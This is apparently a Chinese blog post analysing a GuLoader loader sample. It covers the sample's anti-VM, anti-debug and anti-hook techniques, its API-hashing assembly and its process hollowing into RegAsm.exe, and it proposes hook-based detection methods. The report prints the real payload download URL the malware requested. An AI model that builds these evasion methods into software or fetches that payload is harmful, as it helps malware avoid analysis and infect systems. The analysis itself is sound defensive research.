GuLoader分析报告

GuLoader分析报告

基本信息

样本基本信息

样本名称b89d53ad687ce9c4a808fdab9190a497.exe
样本类型exe
恶意类型加载器
样本MD5b89d53ad687ce9c4a808fdab9190a497
样本SHA30e2ae0a9d77e37e1dc03fe8d9769672184e1ff5

主要执行流程

样本分配出一段空间,解密shellcode后经过一系列调试检测,虚拟机检测,HOOK检测之后。启动傀儡进程RegAsm.exe,傀儡进程其实为其本身,不过执行路径不同,同样经过一系列检测后进行文件下载…

后面的话主要就是下载数据,异或解密后运行窃密木马(这个网站挂了没分析出)

关键技术概览

反虚拟机

1.内存遍历检测字符串

遍历内存,将内存中的字符串进行加密后与特定数据进行比较,0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D

其中检测到VmtoolsdControlWndClass字符串,弹窗程序不能在虚拟机中运行

2.qemu-ga.exe

调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)

返回error path not found 否则退出程序

3.窗口数量检测

EnumWindows检测窗口数量与12进行比较

反逆向分析

1.花指令

程序中加了大量花指令,干扰IDA的逆向分析,且其中的花指令还会参与到异或运算之中,不方便进行补丁去除。

2.反调试
  • 将DebugBreakPoint函数patch为0x90
  • 将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数
  • rdstc时间差检测,反调试
  • 调用了ZwSetInformationThread(-2,0x11,0,0),将自身从调试器中分离出来
  • 调用CreateProcessInternalW等函数之前会检测第一个字节是否为0xcc断点
  • ZwGetContextThread(-2,)获取线程上下文,判断Dr0,DR1,DR2,DR3,DR6,DR7的值
  • 傀儡进程写入前,会将程序前半部分自身不断异或,如果程序有0xcc断点或者patch,会造成后续傀儡进程的异常

DLL函数加载

程序没有直接调用DLL函数,而是解析DLL格式,根据函数名称加密的值,来确定调用的函数地址。

反HOOK

检测ntdll.dll之中的函数是否被HOOK

1.检测一

检测如下特征二进制码

B8 00 00 00 00  mov eax,0
BA  * *   *  * * mov edx,****//这里感觉有点问题
50  push eax
c3  ret
90  nop
90  nop

将会被修复

2.检测二

B8 **** E0 FF

 B8 ****  mov eax ****

 E0 FF    jmp eax

将其patch为
mov eax ,5  
mov edx,xxxxx
3.检测三

检测点为50 c3 90 90

push eax
retn
4,检测四

检测点E8 00 00 00 00****** C2 14 ***** C2 14

call $0
.....
retn 0x14
.....
retn 0x14

傀儡进程

启动了RegAsm.exe作为傀儡进程

加密特征

__asm
{
	mov edx,0x1505
label1:
	mov ebx,dex
	shl edx,5
	add edx,ebx
	movzx ebx,byte ptr ds:[esi];//esi为函数名称地址
	add edx,ebx
	add esi,0x1
	cmp word ptr ds:[esi],0
	jnz label1
};如果dll加密,奇数位参与相加运算,add esi,0x2

详细分析

加载器部分

程序首先分配一段内存,四个字节为一组0x929254c4异或密钥shellcode之后利用push,pop对新分配内存进行填值

在这里插入图片描述

利用PE结构获取dll函数地址,调用ZwQueryVirtualMemoey(-1,0x10000,0,0x12F700,0X1c,0)<0xe7639e>

在这里插入图片描述

遍历内存直到出现数值不为0,后面进行E76009加密,将加密后的数据与特定数据进行比较0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D,在0x612B68检测到字符串vmtoolsdControlWndClass

在这里插入图片描述

调用了EnumWindows检测窗口数量与12进行比较大于等于则跳转

在这里插入图片描述

调用了ZwProtectVirtualMemory(-1,0x12f80c,12f810,0x40,0x12f814);

12f80c→7c921000

12f810→7a000

12f814→0

将Ntdll内存修改为可读可写可执行

在这里插入图片描述
将DebugBreakPoint函数修改为0x90 nop

在这里插入图片描述

将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数

在这里插入图片描述

如果内存中存在如下组合

B8 00 00 00 00 mov eax,0

BA * * * * * mov edx,****

50 push eax

c3 ret

90 nop

90 nop

将会启动patch

在这里插入图片描述

检测数据 B8 **** E0FF,mov eax,jmp eax,将其patch为mov eax ,5 mov edx,xxxxx

在这里插入图片描述

检测数据E8 00 00 00 00,会将前面5个数据给patch

在这里插入图片描述
调用了ZwSetInformationThread(-2,0x11,0,0)进行反调试

在这里插入图片描述
调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)

返回error path not found 否则退出程序

在这里插入图片描述

时间差检测反调试

在这里插入图片描述

ZwGetContextThread(-2)获取线程上下文信息,并且比较DR0,DR1,DR2,DR3,DR6,DR7,判断是否存在调试行为

在这里插入图片描述

检测CreateProcessInternalW等函数第一个字节是否为,0xcc(检测函数断点)或者是否为0x0f0b,0xcd03(这两个不知道检测啥可能是hook)

在这里插入图片描述

调用了CreateProcessInternalW(0, “C:\WINDOWS[Microsoft.NET](http://microsoft.net/)\Framework\v2.0.50727\RegAsm.exe”,“C:\Documents and Settings\Administrator\桌面\GuLoad”,0xE80000,0XE80000,0,4,0,0,0XE80400,0XE80800,0)

0XE8000→0XC

0XE80400→0X44

后续调用了OpenFile,ZwCreateSection,ZwMapViewOfSection

ZwWriteVirtualMemory(0x9c,0x90000,0xe70000,0x9000,0x12f928)

ZwGetContextThread,ZwSetContextThread,ZwResumeThread,ZwWaitForSingleObject,ZwTerminateProcess且在每次调用之前都会判断硬件断点,并且在调用的过程中异或了代码段,其中ZwWriteVirtualMemory函数的就是不断异或后的代码段,其实是本身,如果下断点的话会有问题。

傀儡进程部分

InternetSetOptionA(0xcc0004,0x2,0x19fbd8,4)

InternetOpenUrlA(0xcc0004,"http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin“)

InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)

InternetCloseHandle

再次InternetOpenA(“Mozilla/5.0 (Windows NT 6.1; WOWTrident/7.0; rv:11.0)”,0,0,0,0)

InternetOpenUrlA(0xcc0004,“http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin”)

InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)

InternetCloseHandle

因为网站挂了,开始无限循环…

行为检测

修复HOOK&HOOK检测

概述

修复HOOK之前调用了ZwProtectVirtualMemory,修改动态链接库内存凌空为可读可写可执行,可以先一步HOOK ProtectVirtualMemory相关函数.用来判断相关行为

可行性

检测其参数,如果为dll领空,则说明存在反HOOK行为。

针对HOOK可以采用一些不同的inline hook方式进行干扰检测

窗口数检测

概述

可以尝试HOOK EnumWindows函数,可能存在窗口数行为。

可行性

不过一般的程序也可能会有此行为,所以可能进行误判

傀儡进程检测

概述

检测 CreateProcessInternW,ZwSetContextThread,ZwResumeThread,相关函数参数来判断是否存在傀儡进程。

可行性

Hook CreateProcessInternW函数,获取启动进程名称

Hook ZwSetContextThread和ZwResumeThread函数参数可以确定句柄。

qemu-ga.exe检测

概述

检测字符串为C:\Program Files\Qemu-ga\qemu-ga.exe,说明存在虚拟机检测。

可行性

可以通过HookCreateFileA文件操作相关函数,查看其参数确定行为

反调试检测

ZwSetInformationThread

概述

HOOK API ZwSetInformationThread 判断其行为

可行性

判断第二个参数为0x11说明存在反调试行为

patch DebugBreakPoint&DbgUiRemoteBreakin

概述

判断函数内存前几个字节是否被patch

可行性

根据PEB获取kernel32.dll基址,获取GetProcAddress地址后找到LoadLibrary地址,再利用LoadLibary函数获取ntdll地址,最后利用GetPorcAddress获取DebugBreakPoint,DbgUiRemoteBreakin地址,查询前几个字节是否有变动。如果改变则可能存在反调试行为。

时间差检测

概述

检测机器码0f31用来判断rdstc时间差检测反调试。

可行性

由于机器码长度过短,且程序在运行过程中不断异或加解密自身,可能会存在误报现象。

硬件断点检测

概述

通过Hook ZwGetContextThread来确定其可疑行为

可行性

不过普通程序也会调用该API,且获取线程上下文不一定是判断硬件断点所用,所以可能会误判

API检测

概述

通过检测导入表来判断API

可行性

程序解析DLL格式,遍历函数名称,通过函数名称生成哈希比较,来确定获取的DLL的名称及其地址,不太好检测导入DLL或者字符串来判断导入函数确定行为

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值